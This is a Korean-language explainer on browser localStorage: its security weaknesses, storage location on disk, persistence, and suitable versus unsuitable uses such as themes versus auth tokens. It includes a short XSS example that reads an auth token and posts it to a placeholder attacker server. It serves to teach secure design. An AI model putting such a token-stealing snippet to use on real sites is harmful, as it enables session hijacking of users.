JavaScript로 직접 접근 가능
브라우저의 모든 JavaScript 코드가 localStorage에 자유롭게 접근 가능
공격자가 사이트에 악성 스크립트 삽입에 성공하면 저장된 모든 데이터를 읽을 수 있음
보안 플래그 부재
HttpOnly나 Secure 같은 보안 플래그 설정 불가능
JavaScript 접근을 제한하는 방법이 없음
// XSS 공격 예시: 악성 스크립트가 실행되면
const token = localStorage.getItem('authToken');
fetch('https://악성서버.com/steal', {
method: 'POST',
body: JSON.stringify({ token })
});
물리적 저장 위치
브라우저마다 다르지만 대부분 SQLite 데이터베이스 파일이나 별도 파일 형태로 하드 디스크에 저장
맥북의 경우 브라우저별 프로필 디렉토리에 저장 (예: ~/Library/Application Support/Google/Chrome)
지속성의 범위
맥북을 완전히 종료하고 다시 켜도 데이터가 유지됨
하드 디스크에 저장되므로 컴퓨터 전원이 꺼져도 데이터 손실 없음
사용자가 브라우저 데이터를 직접 삭제하기 전까지 계속 유지됨
localStorage의 적합한 사용 사례
민감하지 않은 사용자 기본 설정: 다크/라이트 테마 선택, 언어 설정, 지역 설정, UI 사용자 정의 옵션
UI 상태 보존: 마지막으로 열었던 탭, 사이드바 접힘/펼침 상태, 목록 정렬 방식
캐싱 데이터: 자주 변경되지 않는 정적 데이터, API 응답 캐싱 (적절한 만료 시간 설정)
오프라인 기능 지원: PWA 오프라인 모드용 데이터, 임시 작성 글 자동 저장
비-민감 기록 데이터: 최근 검색어, 방문 기록, 사용자 활동 로그
부적합한 사용 사례
인증 토큰, JWT (HttpOnly 쿠키 사용)
개인식별정보 (PII)
결제 정보
비밀번호
민감한 사용자 데이터